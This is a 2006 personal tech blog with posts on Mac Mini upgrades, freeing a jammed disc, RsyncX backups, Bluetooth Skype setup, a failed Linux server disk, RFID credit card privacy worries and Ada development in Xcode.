Jabra BT110 and Skype on Mac OS X
Adrian Hoe — Wed, 04 Oct 2006 15:23:00 +0000
I tried to pair my Bluetooth headset, Jabra BT110, on my G3 iBook a few months ago but was not successful. I was using Tiger and Skype prior to version 1.5.x.

With my new Mac Mini, it does not come with a microphone and I have not been able to have audio Skype then. I suddenly thought of giving it a try a few minutes ago and it worked! Now, I am able to have audio Skype with friends and co-workers.
I am using Skype 1.5.0.80 on Mac OS X 10.4.7. Here are screenshots of my Bluetooth and Skype preference.





Rsync
Adrian Hoe — Sun, 17 Sep 2006 11:06:00 +0000
RsyncX is a Mac OS X GUI tool for running rsync. It is easy to use and is able to generate scripts for network backup purposes. When a backup involves works, it will most likely not be done. RsyncX can schedule and automate the entire backup tasks so that users need not to bother about the backup anymore.
I am quite new with rsync. The scripts generated by RsyncX can help me to understand how rsync works. It is a great application.
I’ve setup RsyncX for backup of Users folders on Pluto to Nix. I usually name my computers after planetary/celestial objects. I decided to name my Mac Mini after Pluto because it has a moon called Nix (sounds like Nik). Nix is one of the two small moons of Pluto. Nix describes the 30GB (small) capacity of the HD I took out from my G3 iBook. Furthermore, Pluto is smaller than the moon of earth, hence well described the size of Mac Mini.


Here’s Uranus and Nix.




Memory upgrade
Adrian Hoe — Thu, 14 Sep 2006 15:07:00 +0000
I collected 2 pieces of 1GB DDR2 SDRAM from vendor this Tuesday at PJ. I decided to spend a few more days to research HOWTO open the Mac Mini to perform the memory upgrade. One of the common and recommended (by Apple) method is to use a putty knife while the other less common but effective method is to use network cables to hook onto the clips of Mac Mini.
I tried the second method this evening but found it hard to catch the clip with the wire. I finally managed to hook onto the clip but did not manage to pull the clip to a “snap”. And there is a danger to cut the hand with the wire because it is slippery.
I decided to get a putty knife. After my dinner and a quick bath, out I went to a nearby shopping complex to buy a putty knife. It cost me RM1.70.
I took less than 5 minutes to open the Mac Mini with only two insertion. After opening up the casing, I found that the internal was different from the older Mac Mini (PPC version). The memory bay was not at the side. It was hidden under the drive cage. I managed to identify four (4) screws that hold the drive cage to the chassis. I unscrewed it but did not manage to flip the drive cage out. Fortunately, I was able to hold up the drive cage at the other end and allowed my finders to slip in to unsnap the memory latches and took out the two pieces factory fitted memory. I put in the new 2 x 1GB SDRAM, put back and tighten the screws on the drive cage and then put the Mac Mini back into her casing. I used some caution when snapping the Mac Mini into the casing. It was quite easy though.
The entire process took only 47 minutes.
Born Again

Although she sports a Core Duo 1.66GHz, with the default 512MB memory, she worked like a wheeze and sometimes, large applications like Acrobat Pro, iTunes 7 and Safari stopped responding.
I powered on and the boot up was faster. I quickly launched a few applications, like iTunes 7, Skype, Safari, Firefox, Mail, GimpShop, Acrobat Pro and NeoOffice. I could see increased speed and performance. Now my Mac Mini worked like a breeze.



Disc jammed in Mac Mini SuperDrive
Adrian Hoe — Sat, 09 Sep 2006 17:15:00 +0000
I was trying to install some software from a CD on my new Mac Mini. While the drive was reading from the disc, I could hear loud chunk from the SuperDrive. After a while, the drive went silent and I could not eject the disc. I could hear a loud noise from the drive periodically as the drive was trying to spit the disc out. I restarted my Mac Mini but a blank white screen appeared. My face was as pale as the screen though.
I searched the web and Apple’s support forum and as well as the manual. I tried holding the mouse button and F12 while restarting but failed.
The problem of this front-slot-loading SuperDrive of Mac Mini is that it does not have a hole to allow force ejection using a paper clip.
What now?
I inserted a plastic ruler to see if something was stuck in the drive. I discovered a spring-loaded mechanism at the right side of the drive. To my surprise, this method works!


Insert a plastic ruler an inch deep about 2-3 cm from the right side of the drive.


Gently push the ruler towards the right end and wait for the next eject attempt by the drive.

Do not use force to lock the ruler into position. When you feel some resistance, withdraw the ruler and the disc will follow.
I found out discs with printed paper label of poor quality (thick and rough surface) will most likely jam in the drive. Good quality discs, such as from Apple, will sometime jam as well. The drive in Mac Mini is very thin. With all the electronics and mechanisms packed into a very thin drive shell, some discs of poor quality and thickness will stuck inevitably.



Argh! Another disaster day
Adrian Hoe — Fri, 01 Sep 2006 12:56:00 +0000
Sh!T On August 22, my lovely iBook died. I just brought up Pyxis1 and Pyxis2 yesterday after setting up the network for SOHO. This morning the hard disk on Pyxis1 failed! In just less than 2 weeks, I was stricken by two disasters in a row.
I ran Ark to open a tar.gz file for preview via RDC (Remote Desktop Connection) from Pyxis2. Suddenly, Pyxis1 hung. I could not regain control at Pyxis1 and I forced a power down and reboot. The grub prompt showed up. I knew great problem just knocked on my door.
After trying to boot with grub commands:
grub> kernel (hd0,0)/vmlinuz root=/dev/hda2 1
grub> initrd (hd0,0)/initrd
grub> boot

An error said that it could be hard disk failure. I ran badblocks to check the hard disk and it spat out block numbers that were affected. Here go my data in the server.
I have the data backup to my iBook. They are in the iBook hard disk. I will have to protect the hard disk like a precious gemstone now. Otherwise, HUGE trouble will be.



OSx86 and AppleTPMACPI
Adrian Hoe — Tue, 29 Aug 2006 23:26:00 +0000
I tried to Google for OSx86 download but failed to find any sites that provide download of hack OSx86 and not even a HOWTO site. It is illegal to provide a hacked Mac OS X though.
So I tried to install Mac OS X on one of my Linux box with my license copy of Tiger (Universal Binary) but failed. To look for Apple TPMACPI kernel extension is like looking for a needle in a hay stack. I believe it can be found if I ake more time and look harder.
It can be interesting to learn how Apple implements TPM and how it works.



Credit cards go RF
Adrian Hoe — Mon, 07 Aug 2006 16:33:00 +0000
Major credit cards like Visa and MasterCard have gone RF (Radio Frequency). The contactless smart card uses RFID (Radio Frequency Identification Device) that is fully compatible with global EMV smart card standard. No signature is required and there is no need to hand the card to the cashier – simply wave, pay and go. This RFID technology allows consumers a fast and convenient way to make payment within seconds. The world’s first Visa Wave cards are issued by MBF Cards in Malaysia and the first live transactions were made April 27 at a launch ceremony in a Delifrance restaurant outlet in the popular shopping mall at KLCC.

The contactless payment system marries together the credit cards system along with either an RFID-enabled plastic credit card or some other tagged item. When requested for payment, the cardholder can simply wave the RF credit card at a close range (4cm) from the payment reader. The antenna, a thin copper wire inside the RF credit card, then sends an RF signal, transferring information to a reader connected to the merchant’s point-of-sale terminal. The transaction is then processed through trusted payment network, as with all other conventional transactions.
It sure provides an easy, convenient and hassle free transactions. But the question is how reliable is this technology?
Someone with a tag reader can easily download your card information. It is simple. The person just has to stand near to you. He can put the tag reader in his trouser pocket and come very closely to your trouser pocket where you put your wallet. And perhaps there is even some tag reader that is able to read your card at longer distance, in this case, the person just has to sit and let everyone passes by him and his gadgets will start downloading countless number of credit cards.
It is just a matter of time to have a pocket sized tag reader to be built. Recently, security consultant Lukas Grunwald of German company DN-Systems demonstrated the cloning of a biometric passport.
I, for sure, will not want to carry RF credit cards with me.



Am I Cyberchondria?
Adrian Hoe — Tue, 11 Jul 2006 05:04:00 +0000
Cyberchondria is a colloquial term for hypochondria in individuals who have researched medical conditions on the internet.
In my earlier post, Digital addiction, I mentioned about developed special skills using Internet to do some or any kind of research. I learned to use the Internet to learn about people’s diseases and medication 6 years ago when my second elder sister, Angie, was first diagnosed of stage-4 breast cancer.
I could remember that I had read about children doses for my medication on the product pamphlet. The drug is called Cough-en Linctus by Xepa-Soul Pattison. I gave a dose of 2.5ml to Dmitry early this morning at 0335. He had some good sleep after taking it. Cough-en is the most vile cough medicine ever created by man – it could knock out an elephant cold.
When I woke up this morning, I quickly searched the Internet for Cough-en and Pseudoephedrine. I learned a lot about Pseudoephedrine and I was quite shocked about its side effects.
I used to take a drug called Clarinase whenever I was down with Sinus or nose allergy. Anyone of these could make my day and Clarinase had been effective on me to reduce my symptoms.
Of course, I don’t simply take any medication. I like to learn about any medical condition before or after seeing a doctor.
I hope I will not become psychosomatic.



Digital addiction
Adrian Hoe — Mon, 10 Jul 2006 07:45:00 +0000
Working as a software developer for more than 15 years has cultivated my dependency on computers for sure, especially the Internet for the past 3 years after I installed broadband access at my home. I have developed special skills of doing research on Internet.
At the begining of 2006, I have used the Internet to track down a person with some (but very little) Internet existence. The result was remarkable and led me to Seibukan Malaysia.
My recent exposure to feature-rich blogger has opened up a new experience window in my digital life. I have noticed a very significant change in the way I observe people, things and events surrounding me every passing minutes.
Psychologically, I am aware of such addiction but I am not suggesting that I am addicted to blogging. My anima is aware of such changes and I personally think the psychological impact of blogging is worth noting.
We have read a lot about teenagers addicted to gaming. Some has gone way too far by committing suicide or shut themselves off from normal social activities.
Is this the first sign of computers conquering humans?
How do silicon chips make such psychological bonding with carbon life forms?
I have been putting some efforts to not depending so much of computers. I am also trying to expose my children to nature as much they can. Is this effort enough?



Solution for building dynamic shared Ada library with Xcode
Adrian Hoe — Sun, 09 Jul 2006 14:51:00 +0000
Finally, I got some answer from the mailing list. It is a problem with Xcode 2.2 and gcc 3.3 and it seems like an update to Xcode 2.3 and gcc/gnat 4.2 is inevitable.

gcc/gnat 4.2 compiler
Xcode-Ada plugin

The reason I am skeptical about software update is that I have a number of on going development. A simple tiny glitch in the new update will cause big havoc especially after all the recompilation of source codes.
Anyhow, I am glad to hear the solution and I will update my development tools soon after I have made a few confirmation.



Argh! I’m banging my head on the keyboard
Adrian Hoe — Sun, 09 Jul 2006 07:42:00 +0000
A week has passed by since I took up a project to develop web applications with Ada. One of the major obstacle that is preventing me from moving further is the problem of making a dynamic shared library using Apple’s Xcode 2.2 with gcc/gnat 3.3.
There is no project option of making an Ada dynamic library in Xcode. So I chose BSD Dynamic Library with C and added Ada source files into the build source.
Everytime I hit the build button, it gives me “Build succeeded with 2 warnings.” The warning message says “warning: no rule to process ‘$(PROJECT_DIR)/cgi.adb’”
I am exhausted with this problem and I think I shall leave it behind for a moment before I continue with the development.
Any takers?



I ditched my blogger
Adrian Hoe — Sat, 08 Jul 2006 00:49:00 +0000
I developed a simple blogger for my karate weblog 2 months ago. It was a simple broken PHP script which had not much of attractive features but it served my purpose until I tried on Google’s Blogger.com.
After some testing, I decided to ditch my blogger and moved my karate weblog to blogger.com and decided to create my tech weblog.
So far so good and I am happy with it. Good bye my PHP blogger script.